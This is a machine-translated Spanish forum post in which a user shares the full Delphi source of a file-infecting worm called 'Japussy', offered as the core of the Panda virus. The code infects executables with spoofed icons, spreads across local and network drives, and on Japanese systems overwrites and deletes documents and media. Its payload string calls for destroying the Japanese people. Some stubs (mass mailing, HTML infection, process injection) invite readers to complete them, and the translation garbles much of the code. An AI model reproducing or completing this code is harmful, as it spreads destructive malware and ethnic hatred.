Red de conocimiento informático - Espacio del host - Todos los hermanos y hermanas mayores en línea, por favor ayúdenme, un pequeño novato.

Todos los hermanos y hermanas mayores en línea, por favor ayúdenme, un pequeño novato.

Ya que admiras al hermano Li Jun, déjame darte el código central de panda.

Jeje.

Código: --------- ------------------------------------------------- - --------------------

Código de programa

programa Japussy;

usos

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro};

const

HeaderSize = 82432 //El tamaño del virus

<; p> IconOffset = $12EB8; //El desplazamiento del icono principal del archivo PE

//El tamaño obtenido al compilar en mi Delphi5 SP1 puede ser diferente en otras versiones de Delphi

// Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal

{

HeaderSize = 38912 //Tamaño del virus comprimido Upx

< p; > IconOffset = $92BC; //El desplazamiento del icono principal del archivo PE comprimido Upx

//Uso de Upx 1.24W: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //El tamaño del icono principal del archivo PE--744 bytes

IconTail = IconOffset IconSize; el archivo PE

ID = $44444444; //Marca de infección

//Código basura para escribir

Catchword = 'Si es necesario eliminar una raza, debe ser Yamato . '

'Si un país necesita ser destruido, ¡debe ser Japón! '

'*** W32.Japussy.Worm.A ***'

{$R *.RES}

función RegisterServiceProcess(dwProcessID, dwType: Integer): Entero

stdcall 'Kernel32.dll'; //Declaración de función

var

TmpFile: string;

Si: STARTUPINFO

Pi: PROCESS_INFORMATION

<; p> IsJap: Boolean = False; // Bandera del sistema operativo japonés

{ Determinar si es Win9x }

functi

en IsWin9x: booleano

var

Ver: TOSVersionInfo

comenzar

Resultado: = Falso

Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo);

si no GetVersionEx(Ver) entonces

Salir;

si (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x

Resultado := Verdadero

end;

{Copiar entre secuencias}

procedimiento CopyStream(Src: TStream; sStartPos: Entero; Dst: TStream;

dStartPos: Entero;

var

sCurPos: Entero

<; p>begin

sCurPos:= Src.Position;

dCurPos:= Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Conde

Src.Seek(sCurPos, 0); p>Dst.Seek(dCurPos, 0);

end;

{Separe el archivo host del archivo PE infectado para su uso}

procedimiento ExtractFile( FileName: cadena);

var

sStream, dStream: TFileStream;

comenzar

probar

sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

prueba

dStream:= TFileStream.Create(FileName, fmCreate); try

sStream.Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado

dStream.CopyFrom(sStream, sStream.Size - HeaderSize

);

finalmente

dStream.Free

fin

finalmente

sStream.Free;

fin;

excepto

fin

fin;

{rellenar estructura STARTUPINFO}

p

procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Word);

begin

Si.cb:= SizeOf(Si);

Si.lpReserved:= nil;

Si.lpDesktop := nil;

Si.lpTitle := nil

Si.dwFlags := STARTF_USESHOWWINDOW

Si.wShowWindow:= Estado;

Si.cbReserved2:= 0;

Si.lpReserved2:= nil;

fin;

{Enviar correo electrónico venenoso}

procedimiento SendMail;

comenzar

//¿Qué hermano está dispuesto a completar esto?

end;

{Infectar archivo PE}

procedimiento InfectOneFile(Nombre de archivo: cadena);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt

aIcon: TIcon; , IsPE: booleano;

i: entero;

Buf: matriz[0..1] de Char

comenzar

try //Si ocurre un error, el archivo se está utilizando, salga

if CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Si es él mismo, no se infectará

Salir;

p>

Infectado:= False;

IsPE:= False;

SrcStream:= TFileStream.Create(FileName, fmOpenRead );

intentar

for i := 0 a $108 hacer //Verificar el encabezado del archivo PE

comenzar

SrcStream.Seek( i, soFromBeginning);

SrcStream.Read(Buf, 2);

si (Buf[0] = #80) y (Buf[1] = #69) entonces / /PE marca

comenzar

IsPE:= Verdadero; //Es un archivo PE

Romper

final; p>

end;

SrcStream.Seek(-4, soFromEnd); //Comprueba el indicador de infección

SrcStream.Read(iID, 4);

>

if (iID = ID) o (SrcStream.Size lt; 10240) entonces //Los archivos que son demasiado pequeños no están infectados

Infectado:= Verdadero;

finalmente

p>

SrcStream.Free;

end;

si está infectado o (no es IsPE) entonces //Salga si está infectado o no es un archivo PE

Salir;

IcoStream:= TMemoryStream.Create;

DstStream:= TMemoryStream.Create;

probar

aIcon := TIcon.Create;

intente

//Obtenga el icono principal (744 bytes) del archivo infectado y guárdelo en la secuencia

aIcon. ReleaseHandle;

p>

aIcon.Handle:= ExtractIcon(HInstance, PChar(FileName),

aIcon.SaveToStream(IcoStream);

aIcon.Free;

fin;

SrcStream:= TFileStream.Create(FileName, fmOpenRead

//Archivo de encabezado);

HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//Escribe los datos antes del icono principal del virus

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//Escribe el icono principal del programa actual

CopyStream(IcoStream, 22 , DstStream, IconOffset, IconSize);

//Escribe datos entre el ícono principal del virus y la cola del virus

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize); - IconTail);

//Escribir en el programa host

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//Escribir la etiqueta infectada

DstStream.Seek(0, 2);

iID:= $44444444;

DstStream.Write(iID, 4);<

/p>

finalmente

HdrStream.Free

fin

finalmente

SrcStream.Free

IcoStream.Free

DstStream.SaveToFile(FileName); //Reemplazar el archivo host

DstStream.Free

fin; >

excepto;

end;

end;

{escribe el archivo de destino con código basura y luego elimínalo}

procedimiento SmashFile (Nombre de archivo: cadena);

var

FileHandle: Entero;

i, Tamaño, Masa, Máx., Len: Entero; >

comenzar

probar

SetFileAttributes(PChar(FileName), 0); //Eliminar atributos de solo lectura

FileHandle:= FileOpen(FileName) , fmOpenWrite); //Abre el archivo

prueba

Tamaño:= GetFileSize(FileHandle, nil); //Tamaño del archivo

i:= 0;

Aleatorizar;

Max: = Random(15); //Número aleatorio de veces para escribir código basura

si Max lt entonces

Max: = 5;

Masa := Tamaño div Max; //El tamaño de cada bloque de intervalo

Len := Longitud(Catchword

);

mientras i lt ; Max do

comenzar

FileSeek(FileHandle, i * Mass, 0); //Posicionamiento

//Escribir código basura para destruir completamente el archivo Drop

FileWrite(FileHandle, Catchword, Len

Inc(i

end; finalmente

FileClose(FileHandle); //Cerrar el archivo

end;

DeleteFile(PChar(FileName)); //Eliminarlo

excepto

p>

end;

end;

{Obtener una lista de unidades grabables}

función GetDrives: cadena;

var

Tipo de disco: Palabra

D: Char

Cadena

<; p>i: Entero <;

/p>

comenzar

for i := 0 a 25 hacer //Atravesar 26 letras

comenzar

D := Chr(i 65) ;

Str:= D ':';

DiskType:= GetDriveType(PChar(Str));

//Obtener disco local y disco de red

si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado:= Resultado D

fin

fin;

{Atravesar directorios, infectar y destruir archivos}

procedure LoopFiles(Ruta, Máscara: cadena);

var

i , Recuento: Entero;

Fn, Ext: cadena;

SubDir: TStrings;

SearchRec: TSearchRec

Mensaje: TMsg;

función IsValidDir(SearchRec: TSearchRec): Entero;

comenzar

if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; '.') y

(SearchRec.Name lt;gt; '..') entonces

Resultado:= 0 //No es un directorio

si no (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y

(SearchRec.Name lt; gt; '..') entonces

Resultado:= 1 //No es el directorio raíz

else Resultado:= 2 //Es el directorio raíz

end;

begin

si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces

comenzar

repetir

PeekMessage(Msg, 0, 0, 0 , PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas

si IsValidDir(SearchRec) = 0 entonces

comenzar

Fn:= Ruta SearchRec.Name ;

Ext:= UpperCase(ExtractFileExt(Fn));

si (Ext = '.EXE') o (Ext = '.SCR') entonces

comenzar

InfectOneFile

(Fn); //Infectar archivo ejecutable

end

else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = '.ASP) ') luego

comenzar

//Infectar archivos HTML y ASP y escribir el virus codificado en Base64

//Infectar a todos los usuarios que navegan por esta página web

// ¿Qué hermano mayor está dispuesto a completarlo?

end

else if Ext = '.WAB' entonces //Archivo de libreta de direcciones de Outlook

start

//Obtener correo de Outlook Dirección

end

else if Ext = '.ADC' entonces //Archivo de autocompletar dirección de Foxmail

comienza

// Obtener la dirección de correo electrónico de Foxmail

end

else if Ext = 'IND' entonces //archivo de la libreta de direcciones de Foxmail

comenzar

// Obtenga la dirección de correo electrónico de Foxmail

end

else

comience

si esJap entonces //Es un sistema operativo japonés

comenzar

si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o

(Ext = ' .MP3' ) o (Ext = '.RM') o (Ext = '.RA') o

(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o

(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o

(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o

(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego

SmashFile(Fn); //Destruye el archivo

end

end; > end;

//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU

Dormir(200);

hasta (BuscarSiguiente(BuscarRec

) lt; gt; 0);

fin

FindClose(SearchRec)

SubDir := TStringList.Create; si (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) entonces

comenzar

repetir

si IsValidDir(SearchRec) = 1 entonces

SubDir.Add(SearchRec.Name);

hasta (FindNext(SearchRec) lt; gt; 0

final; p> FindClose(SearchRec);

Count:= SubDir.Count - 1;

for i:= 0 to Count do

LoopFiles(Path SubDir. Strings[i] '', Mask);

FreeAndNil(SubDir);

end

{Recorre todos los archivos del disco}

procedimiento InfectFiles;

var

DriverList: cadena;

i, Len: entero;

comenzar

si GetACP = 932 entonces //sistema operativo japonés

IsJap:= True; //¡Vete al infierno!

DriverList:= GetDrives; //Obtener la lista de discos grabables

Len:= Longitud(DriverList);

while True do //Bucle infinito< / p>

comenzar

for i := Len downto 1 do //Recorre cada unidad de disco

LoopFiles(DriverList[i] ':', '*.* ') ; //Infección

SendMail; //Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); //Dormir durante 5 minutos

end; /p>

fin;

{Inicio del programa principal}

comenzar

si es Win9x entonces //Es Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //Registrarse como proceso de servicio

else //WinNT

comenzar

//Subproceso remoto asignado al proceso Explorer p>

// ¿Qué hermano está dispuesto a completarlo?

end;

//Si es el propio virus original

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 entonces

InfectFiles

//Infección y envío de correos electrónicos

else //Ha parasitado el programa host y ha comenzado a funcionar

begin

TmpFile:= ParamStr(0); archivo temporal

Eliminar(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile:= TmpFile #32 '.exe' //Archivo host real, un espacio más

ExtractFile(TmpFile); //Separación

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile ), nil, nil, True,

0, nil, '.', Si, Pi); //Crea un nuevo proceso para ejecutarlo

InfectFiles //Infecta y envía correos electrónicos

p>

fin;

fin.

~~~~~~~~~~~~~~~~~~~~~~~~

¡Terminado!